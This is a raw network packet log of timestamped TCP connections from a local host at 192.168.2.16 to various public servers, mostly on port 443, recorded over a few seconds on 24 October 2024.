Oct 24, 2024 00:26:53.384598017 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:53.384604931 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.422086954 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:53.422112942 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:53.422120094 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:53.422154903 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:53.422183037 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:53.422202110 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:53.422213078 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:53.422271967 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:53.422271967 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:53.423003912 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:53.423284054 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:53.423290014 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:53.426856041 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:53.435368061 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:53.435368061 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:53.435386896 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:53.435636997 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:53.435676098 CEST	443	49741	4.175.87.197	192.168.2.16
Oct 24, 2024 00:26:53.435750961 CEST	49741	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:26:53.552577972 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.552644968 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.552697897 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:53.552715063 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.552927971 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.552975893 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.553002119 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:53.553008080 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.553016901 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.553061962 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:53.553069115 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.553108931 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:53.553549051 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.554050922 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:53.554513931 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:53.554600954 CEST	49743	443	192.168.2.16	142.250.113.101
Oct 24, 2024 00:26:53.554614067 CEST	443	49743	142.250.113.101	192.168.2.16
Oct 24, 2024 00:26:54.111886024 CEST	443	49744	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:54.112221003 CEST	49744	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:54.112247944 CEST	443	49744	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:54.112694025 CEST	443	49744	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:54.113012075 CEST	49744	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:54.113100052 CEST	443	49744	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:54.113214970 CEST	49744	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:54.155333042 CEST	443	49744	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:54.244519949 CEST	443	49744	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:54.244595051 CEST	443	49744	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:54.244688988 CEST	49744	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:54.245651960 CEST	49744	443	192.168.2.16	13.107.246.57
Oct 24, 2024 00:26:54.245671034 CEST	443	49744	13.107.246.57	192.168.2.16
Oct 24, 2024 00:26:55.395904064 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 24, 2024 00:26:56.922982931 CEST	443	49707	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:56.923140049 CEST	443	49707	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:56.923214912 CEST	49707	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:57.073402882 CEST	49707	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:57.073426962 CEST	443	49707	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:58.150865078 CEST	49674	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:58.150935888 CEST	49675	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:58.151020050 CEST	49677	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:58.151402950 CEST	49745	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:58.151438951 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:58.151562929 CEST	49745	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:58.151894093 CEST	49745	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:58.151910067 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:58.454900980 CEST	49674	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:58.454916000 CEST	49675	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:58.454917908 CEST	49677	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:58.590182066 CEST	49746	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:26:58.590226889 CEST	443	49746	20.190.159.23	192.168.2.16
Oct 24, 2024 00:26:58.590385914 CEST	49746	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:26:58.591483116 CEST	49746	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:26:58.591494083 CEST	443	49746	20.190.159.23	192.168.2.16
Oct 24, 2024 00:26:58.921857119 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:58.921946049 CEST	49745	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:58.922617912 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:58.922739983 CEST	49745	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:58.956546068 CEST	49745	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:58.956564903 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:58.956688881 CEST	49745	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:58.956700087 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:58.956923962 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:58.957021952 CEST	49745	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:59.069904089 CEST	49674	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:59.069922924 CEST	49675	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:59.069977999 CEST	49677	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:59.134803057 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:59.134834051 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:59.134855032 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:59.134957075 CEST	49745	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:59.134969950 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:59.135225058 CEST	49745	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:59.135749102 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:59.135807991 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:59.136063099 CEST	49745	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:59.136063099 CEST	49745	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:59.136063099 CEST	49745	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:26:59.136075974 CEST	443	49745	204.79.197.200	192.168.2.16
Oct 24, 2024 00:26:59.143826008 CEST	49747	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:26:59.143861055 CEST	443	49747	23.1.33.206	192.168.2.16
Oct 24, 2024 00:26:59.143939972 CEST	49747	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:26:59.144216061 CEST	49747	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:26:59.144228935 CEST	443	49747	23.1.33.206	192.168.2.16
Oct 24, 2024 00:26:59.168529034 CEST	49681	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:26:59.169006109 CEST	49748	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:26:59.169063091 CEST	443	49748	51.104.15.253	192.168.2.16
Oct 24, 2024 00:26:59.169141054 CEST	49748	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:26:59.169329882 CEST	49748	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:26:59.169367075 CEST	443	49748	51.104.15.253	192.168.2.16
Oct 24, 2024 00:26:59.412441015 CEST	49683	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:26:59.412797928 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:26:59.412842035 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:26:59.412914038 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:26:59.413160086 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:26:59.413173914 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:26:59.530973911 CEST	49681	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:26:59.674340010 CEST	443	49746	20.190.159.23	192.168.2.16
Oct 24, 2024 00:26:59.674439907 CEST	49746	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:26:59.713613033 CEST	49746	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:26:59.713635921 CEST	443	49746	20.190.159.23	192.168.2.16
Oct 24, 2024 00:26:59.713985920 CEST	443	49746	20.190.159.23	192.168.2.16
Oct 24, 2024 00:26:59.715398073 CEST	49746	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:26:59.715398073 CEST	49746	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:26:59.715584993 CEST	443	49746	20.190.159.23	192.168.2.16
Oct 24, 2024 00:26:59.720988035 CEST	49683	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:26:59.790703058 CEST	443	49747	23.1.33.206	192.168.2.16
Oct 24, 2024 00:26:59.790827990 CEST	49747	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:26:59.795141935 CEST	49747	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:26:59.795151949 CEST	443	49747	23.1.33.206	192.168.2.16
Oct 24, 2024 00:26:59.795259953 CEST	49747	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:26:59.795269012 CEST	443	49747	23.1.33.206	192.168.2.16
Oct 24, 2024 00:26:59.795593977 CEST	443	49747	23.1.33.206	192.168.2.16
Oct 24, 2024 00:26:59.795685053 CEST	49747	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:26:59.849059105 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 00:27:00.082350969 CEST	443	49747	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.082386971 CEST	443	49747	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.082401991 CEST	443	49747	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.082480907 CEST	49747	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.082508087 CEST	443	49747	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.082648993 CEST	443	49747	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.082709074 CEST	49747	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.082710981 CEST	443	49747	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.082963943 CEST	49747	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.086213112 CEST	49747	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.086231947 CEST	443	49747	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.091362000 CEST	49751	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.091407061 CEST	443	49751	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.091500998 CEST	49751	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.091837883 CEST	49751	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.091854095 CEST	443	49751	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.138816118 CEST	443	49746	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:00.138847113 CEST	443	49746	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:00.138875961 CEST	443	49746	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:00.138950109 CEST	49746	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:00.138971090 CEST	443	49746	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:00.139007092 CEST	49746	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:00.139662027 CEST	49746	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:00.139678955 CEST	49746	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:00.139853001 CEST	443	49746	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:00.139897108 CEST	443	49746	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:00.140024900 CEST	49746	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:00.168420076 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.168521881 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.172354937 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.172368050 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.172487020 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.172494888 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.172632933 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.172833920 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.246884108 CEST	49681	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:27:00.272439003 CEST	443	49748	51.104.15.253	192.168.2.16
Oct 24, 2024 00:27:00.272542953 CEST	49748	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:27:00.275707960 CEST	49748	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:27:00.275715113 CEST	443	49748	51.104.15.253	192.168.2.16
Oct 24, 2024 00:27:00.275969982 CEST	443	49748	51.104.15.253	192.168.2.16
Oct 24, 2024 00:27:00.276221991 CEST	49748	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:27:00.276623964 CEST	49748	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:27:00.276716948 CEST	49748	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:27:00.276721001 CEST	443	49748	51.104.15.253	192.168.2.16
Oct 24, 2024 00:27:00.276900053 CEST	49674	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:00.276900053 CEST	49675	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:00.277069092 CEST	49677	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:00.313066959 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.313081980 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.313138962 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.313162088 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.313210964 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.313529968 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.313554049 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.313606977 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.313613892 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.313656092 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.322902918 CEST	49683	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.325074911 CEST	49752	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:00.325104952 CEST	443	49752	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:00.325218916 CEST	49752	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:00.325448990 CEST	49752	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:00.325472116 CEST	443	49752	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:00.432706118 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.432765007 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.432813883 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.432838917 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.432847977 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.432898998 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.433331966 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.433393955 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.433398962 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.433413029 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.433449030 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.433464050 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.433470011 CEST	443	49749	204.79.197.222	192.168.2.16
Oct 24, 2024 00:27:00.433476925 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.433476925 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.433532953 CEST	49749	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:00.525594950 CEST	443	49748	51.104.15.253	192.168.2.16
Oct 24, 2024 00:27:00.525674105 CEST	49748	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:27:00.525804043 CEST	49748	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:27:00.525841951 CEST	443	49748	51.104.15.253	192.168.2.16
Oct 24, 2024 00:27:00.525923014 CEST	49748	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:27:00.725460052 CEST	443	49751	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.725529909 CEST	49751	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.727981091 CEST	49751	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.727992058 CEST	443	49751	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.729123116 CEST	49751	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.729129076 CEST	443	49751	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.828573942 CEST	443	49713	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:00.828649998 CEST	443	49713	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:00.828742027 CEST	49713	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:00.992947102 CEST	443	49751	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.992994070 CEST	443	49751	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.993007898 CEST	443	49751	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.993057013 CEST	49751	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.993091106 CEST	49751	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.993104935 CEST	443	49751	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.993149042 CEST	49751	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.993568897 CEST	443	49751	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.993642092 CEST	443	49751	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.993647099 CEST	49751	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.993720055 CEST	49751	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.994637966 CEST	49751	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.994657993 CEST	443	49751	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.997080088 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.997124910 CEST	443	49753	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:00.997246027 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.997576952 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:00.997591972 CEST	443	49753	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:01.136195898 CEST	443	49715	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:01.136271954 CEST	443	49715	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:01.136481047 CEST	49715	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:01.154067039 CEST	49754	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:01.154105902 CEST	443	49754	204.79.197.200	192.168.2.16
Oct 24, 2024 00:27:01.154218912 CEST	49754	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:01.154401064 CEST	49754	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:01.154417038 CEST	443	49754	204.79.197.200	192.168.2.16
Oct 24, 2024 00:27:01.414223909 CEST	443	49752	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:01.414719105 CEST	49752	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:01.414742947 CEST	443	49752	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:01.415498018 CEST	49752	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:01.415498018 CEST	49752	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:01.415505886 CEST	443	49752	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:01.415524006 CEST	443	49752	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:01.529102087 CEST	49683	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:01.634174109 CEST	443	49753	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:01.634244919 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.634699106 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.634705067 CEST	443	49753	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:01.634897947 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.634902000 CEST	443	49753	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:01.687877893 CEST	49681	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:27:01.743731022 CEST	443	49752	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:01.743771076 CEST	443	49752	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:01.743819952 CEST	443	49752	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:01.743849039 CEST	49752	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:01.743863106 CEST	443	49752	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:01.743978024 CEST	49752	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:01.744322062 CEST	49752	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:01.744337082 CEST	443	49752	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:01.744378090 CEST	49752	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:01.744507074 CEST	443	49752	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:01.744539976 CEST	443	49752	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:01.744664907 CEST	49752	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:01.831511021 CEST	49756	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:01.831532001 CEST	443	49756	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:01.831604958 CEST	49756	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:01.831787109 CEST	49756	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:01.831799984 CEST	443	49756	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:01.872543097 CEST	443	49753	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:01.872574091 CEST	443	49753	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:01.872616053 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.872631073 CEST	443	49753	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:01.872643948 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.872674942 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.872750044 CEST	443	49753	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:01.872786999 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.872797966 CEST	443	49753	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:01.872838020 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.873388052 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.873402119 CEST	443	49753	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:01.873410940 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.873529911 CEST	49753	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.875098944 CEST	49759	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.875127077 CEST	443	49759	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:01.875219107 CEST	49759	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.875439882 CEST	49759	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:01.875452042 CEST	443	49759	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:01.908700943 CEST	443	49754	204.79.197.200	192.168.2.16
Oct 24, 2024 00:27:01.908771038 CEST	49754	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:01.909162998 CEST	49754	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:01.909173012 CEST	443	49754	204.79.197.200	192.168.2.16
Oct 24, 2024 00:27:01.909392118 CEST	49754	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:01.909398079 CEST	443	49754	204.79.197.200	192.168.2.16
Oct 24, 2024 00:27:01.909537077 CEST	49754	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:01.909552097 CEST	443	49754	204.79.197.200	192.168.2.16
Oct 24, 2024 00:27:02.074249029 CEST	443	49754	204.79.197.200	192.168.2.16
Oct 24, 2024 00:27:02.074320078 CEST	49754	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:02.074398994 CEST	49754	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:02.074906111 CEST	443	49754	204.79.197.200	192.168.2.16
Oct 24, 2024 00:27:02.074964046 CEST	49754	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:02.461880922 CEST	49760	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:02.461918116 CEST	443	49760	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:02.462028980 CEST	49760	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:02.462363005 CEST	49760	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:02.462377071 CEST	443	49760	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:02.500886917 CEST	443	49759	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:02.501133919 CEST	49759	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:02.501447916 CEST	49759	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:02.501456976 CEST	443	49759	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:02.501728058 CEST	49759	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:02.501734018 CEST	443	49759	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:02.657176018 CEST	49715	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:02.657208920 CEST	443	49715	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:02.686907053 CEST	49675	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:02.686909914 CEST	49674	443	192.168.2.16	204.79.197.200
